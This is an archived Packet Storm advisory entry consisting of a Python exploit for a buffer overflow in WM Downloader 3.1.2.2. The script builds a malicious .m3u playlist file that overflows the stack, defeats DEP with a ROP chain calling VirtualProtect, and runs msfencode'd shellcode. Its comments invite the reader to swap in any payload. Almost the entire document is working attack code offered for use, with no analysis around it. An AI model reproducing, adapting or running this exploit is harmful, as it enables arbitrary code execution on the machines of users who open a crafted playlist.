WM Downloader 3.1.2.2 2010.04.15 Buffer Overflow / DEP Bypass

2011-01-28T00:00:00
ID PACKETSTORM:97981
Type packetstorm
Reporter sickness
Modified 2011-01-28T00:00:00

Description

                                        
                                            `#!/usr/bin/env python  
# WM Downloader 3.1.2.2 2010.04.15 (.m3u) Buffer Overflow + DEP Bypass  
# Author: sickness  
# Download : http://mini-stream.net/wm-downloader/  
# Tested : Windows XP Professional SP3 (EN) latest updates with IE8 and IE7  
# DATE : 29/01/2011  
###################################################################  
# You might need to change the offset.  
# The payload can be replaced with whatever you want, there is enough space.  
###################################################################  
  
import sys  
  
header='#EXTM3U\n'  
junk ='http://'+'\x90' * 17400  
junk+='\x41'*17  
eip ='\x1E\x17\x80\x7C' # RETN  
junk2='\x41\x41\x41\x41'  
  
  
rop ='\x77\x92\xD7\x5A' # PUSH ESP # MOV EAX,EDX # POP EDI # RETN  
rop+='\x42\xE8\xC1\x77' # PUSH EDI # POP EAX # POP EBP # RETN  
rop+='\x41\x41\x41\x41' # POP EBP  
rop+='\xBB\xA5\x72\x74' # INC ESI # PUSH EAX # POP ESI # POP EBP # RETN 4  
rop+='\x41\x41\x41\x41' # POP EBP  
rop+='\x94\x28\xC2\x77' # ADD ESP,20 # POP EBP # RETN  
rop+='\x41\x41\x41\x41' # RETN 4  
rop+='\x41\x41\x41\x41' # POP EBP  
  
vp ='\xD4\x1A\x80\x7C' # VirtualProtect()  
vp+='WWWW' # SC  
vp+='XXXX' # SC  
vp+='YYYY' # Size  
vp+='ZZZZ' # Policy  
vp+='\xD0\x23\x10\x5D' # Writable Memory  
vp+='\x41\x41\x41\x41' # Compensate ADD ESP,20  
vp+='\x41\x41\x41\x41' # Compensate ADD ESP,20  
  
rop2 ='\x2B\xEC\xC4\x77' # ADD EAX,100 # POP EBP # RETN  
rop2+='\x41\x41\x41\x41' # POP EBP  
rop2+='\xF5\xD7\xC1\x77' # ADD EAX,20 # POP EBP # RETN  
rop2+='\x41\x41\x41\x41' # POP EBP  
rop2+='\xF5\xD7\xC1\x77' # ADD EAX,20 # POP EBP # RETN  
rop2+='\x41\x41\x41\x41' # POP EBP  
rop2+='\xF5\xD7\xC1\x77' # ADD EAX,20 # POP EBP # RETN  
rop2+='\x41\x41\x41\x41' # POP EBP  
rop2+='\x1F\xC1\xDD\x73' # MOV DWORD PTR DS:[ESI+20],EAX # POP ESI # RETN  
rop2+='\x41\x41\x41\x41' # POP ESI  
rop2+='\x42\xE8\xC1\x77' # PUSH EDI # POP EAX # POP EBP # RETN  
rop2+='\x41\x41\x41\x41' # POP EBP  
rop2+='\xBB\xA5\x72\x74' # INC ESI # PUSH EAX # POP ESI # POP EBP # RETN 4  
rop2+='\x41\x41\x41\x41' # POP EBP  
rop2+='\x2B\xEC\xC4\x77' # ADD EAX,100 # POP EBP # RETN  
rop2+='\x41\x41\x41\x41' # POP RETN 4  
rop2+='\x41\x41\x41\x41' # POP EBP  
rop2+='\xF5\xD7\xC1\x77' # ADD EAX,20 # POP EBP # RETN  
rop2+='\x41\x41\x41\x41' # POP EBP  
rop2+='\xF5\xD7\xC1\x77' # ADD EAX,20 # POP EBP # RETN  
rop2+='\x41\x41\x41\x41' # POP EBP  
rop2+='\xF5\xD7\xC1\x77' # ADD EAX,20 # POP EBP # RETN  
rop2+='\x41\x41\x41\x41' # POP EBP'  
rop2+='\xCF\x43\xDD\x73' # MOV DWORD PTR DS:[ESI+24],EAX # POP ESI # RETN  
rop2+='\x41\x41\x41\x41' # POP ESI  
rop2+='\x42\xE8\xC1\x77' # PUSH EDI # POP EAX # POP EBP # RETN  
rop2+='\x41\x41\x41\x41' # POP EBP  
rop2+='\xBB\xA5\x72\x74' # INC ESI # PUSH EAX # POP ESI # POP EBP # RETN 4  
rop2+='\x41\x41\x41\x41' # POP EBP  
rop2+='\xC3\xA9\xE5\x73' # XOR EAX,EAX # POP EBP # RETN  
rop2+='\x41\x41\x41\x41' # RETN 4  
rop2+='\x41\x41\x41\x41' # POP EBP  
rop2+='\x2B\xEC\xC4\x77' # ADD EAX,100 # POP EBP # RETN  
rop2+='\x41\x41\x41\x41' # POP EBP  
rop2+='\x2B\xEC\xC4\x77' # ADD EAX,100 # POP EBP # RETN  
rop2+='\x41\x41\x41\x41' # POP EBP  
rop2+='\x2B\xEC\xC4\x77' # ADD EAX,100 # POP EBP # RETN  
rop2+='\x41\x41\x41\x41' # POP EBP  
rop2+='\x2B\xEC\xC4\x77' # ADD EAX,100 # POP EBP # RETN  
rop2+='\x41\x41\x41\x41' # POP EBP  
rop2+='\x2B\xEC\xC4\x77' # ADD EAX,100 # POP EBP # RETN  
rop2+='\x41\x41\x41\x41' # POP EBP  
rop2+='\x46\x21\xE1\x73' # MOV DWORD PTR DS:[ESI+28],EAX # POP ESI # RETN  
rop2+='\x41\x41\x41\x41' # POP ESI  
rop2+='\x42\xE8\xC1\x77' # PUSH EDI # POP EAX # POP EBP # RETN  
rop2+='\x41\x41\x41\x41' # POP EBP  
rop2+='\xBB\xA5\x72\x74' # INC ESI # PUSH EAX # POP ESI # POP EBP # RETN 4  
rop2+='\x41\x41\x41\x41' # POP EBP  
rop2+='\xC3\xA9\xE5\x73' # XOR EAX,EAX # POP EBP # RETN  
rop2+='\x41\x41\x41\x41' # RETN 4  
rop2+='\x41\x41\x41\x41' # POP EBP  
rop2+='\x1D\xEC\xC4\x77' # ADD EAX,40 # POP EBP # RETN  
rop2+='\x41\x41\x41\x41' # POP EBP  
rop2+='\x1D\x7D\x15\x77' # INC ESI # RETN  
rop2+='\x1D\x7D\x15\x77' # INC ESI # RETN  
rop2+='\x1D\x7D\x15\x77' # INC ESI # RETN  
rop2+='\x1D\x7D\x15\x77' # INC ESI # RETN  
rop2+='\x46\x21\xE1\x73' # MOV DWORD PTR DS:[ESI+28],EAX # POP ESI # RETN  
rop2+='\x41\x41\x41\x41' # POP ESI  
rop2+='\x42\xE8\xC1\x77' # PUSH EDI # POP EAX # POP EBP # RETN  
rop2+='\x41\x41\x41\x41' # POP EBP  
rop2+='\x1D\x2D\xE2\x73' # ADD EAX,4 # RETN  
rop2+='\x1D\x2D\xE2\x73' # ADD EAX,4 # RETN  
rop2+='\x1D\x2D\xE2\x73' # ADD EAX,4 # RETN  
rop2+='\x1D\x2D\xE2\x73' # ADD EAX,4 # RETN  
rop2+='\x1D\x2D\xE2\x73' # ADD EAX,4 # RETN  
rop2+='\x1D\x2D\xE2\x73' # ADD EAX,4 # RETN  
rop2+='\xB1\x9C\x5C\x75' # PUSH EAX # POP EBP # RETN 4  
rop2+='\x26\x25\xAA\x71' # MOV ESP,EBP # POP EBP # RETN  
rop2+='\x41\x41\x41\x41' # RETN 4  
rop2+='\x41\x41\x41\x41' # POP EBP  
  
  
# msfpayload windows/messagebox TITLE=OWNED TEXT="Feel the pwnsauce." R | msfencode -a x86 -b '\x00\x0a\x0d\x20\x25\x09' -t c  
sc = ("\xd9\xe5\xd9\x74\x24\xf4\x5d\xb8\xe9\xf2\x97\x0f\x29\xc9\xb1"  
"\x43\x31\x45\x18\x03\x45\x18\x83\xed\x15\x10\x62\xd6\x0e\x4e"  
"\x54\x9d\xf4\x85\x56\x8c\x46\x12\xa8\xf9\xc2\x56\xbb\xc9\x81"  
"\x1f\x30\xa1\xe3\xc3\xc3\xf3\x03\x77\xad\xdb\x98\xb1\x6a\x53"  
"\x86\xc8\x79\x32\xb7\xe3\x81\x24\xd7\x88\x12\x83\x33\x04\xaf"  
"\xf7\xb0\x4e\x18\x70\xc7\x84\xd3\xca\xdf\xd3\xbe\xea\xde\x08"  
"\xdd\xdf\xa9\x45\x16\xab\x28\xb4\x66\x54\x1b\x88\x75\x06\xdf"  
"\xc8\xf2\x50\x1e\x07\xf7\x5f\x67\x73\xfc\x5b\x1b\xa0\xd5\xee"  
"\x02\x23\x7f\x35\xc5\xdf\xe6\xbe\xc9\x54\x6c\x9a\xcd\x6b\x99"  
"\x90\xe9\xe0\x5c\x4f\x78\xb2\x7a\x93\x1b\xf8\x31\xa3\xf2\x2a"  
"\xbc\x51\x8d\x11\xd7\x17\xc3\x9b\xc4\x7a\x33\x3c\xeb\x84\x3c"  
"\xca\x51\x7f\x79\xb3\x81\x9d\x0e\xcb\x2e\x46\xa2\x3b\xc0\x79"  
"\xbd\x43\x54\xc0\x49\xd4\x0b\xa7\x69\x65\xbc\x04\x5b\x4b\x58"  
"\x03\xee\xe0\xc5\xa1\x98\x5b\x22\x4c\x11\x85\x7c\xaf\x74\x4e"  
"\x08\x8d\x26\xf5\xa2\xb0\x8b\xb5\x34\xa8\x37\x94\xd2\xb0\xc8"  
"\xe7\xdc\x5b\x72\x40\x03\xbc\x12\x3f\x14\xf2\xa7\x8e\x41\x82"  
"\x7b\xd5\x70\x1a\x60\x7d\x1e\x32\x3e\x5e\x88\x39\xdf\xeb\x2b"  
"\xd6\x3f\x64\xdb\x48\x57\xa4\x57\xfd\xc2\xcc\xd1\x98\x69\x61"  
"\xef\xab\xf9\x35\x2b\x3e\x70\x24\x02\xec\xd0\xf4\x34\x42\x2b"  
"\x2a\x87\xa2\x83\x34\xbd\x2a")  
  
nops = '\x90' * 150  
rest = '\x90' * 3600  
  
exploit =header+junk+eip+junk2+rop+vp+rop2+nops+sc+rest  
  
file = open('evil.m3u','w')  
file.write(exploit)  
file.close()  
print 'Writing file, please wait ...\n'  
print 'Done!'  
  
`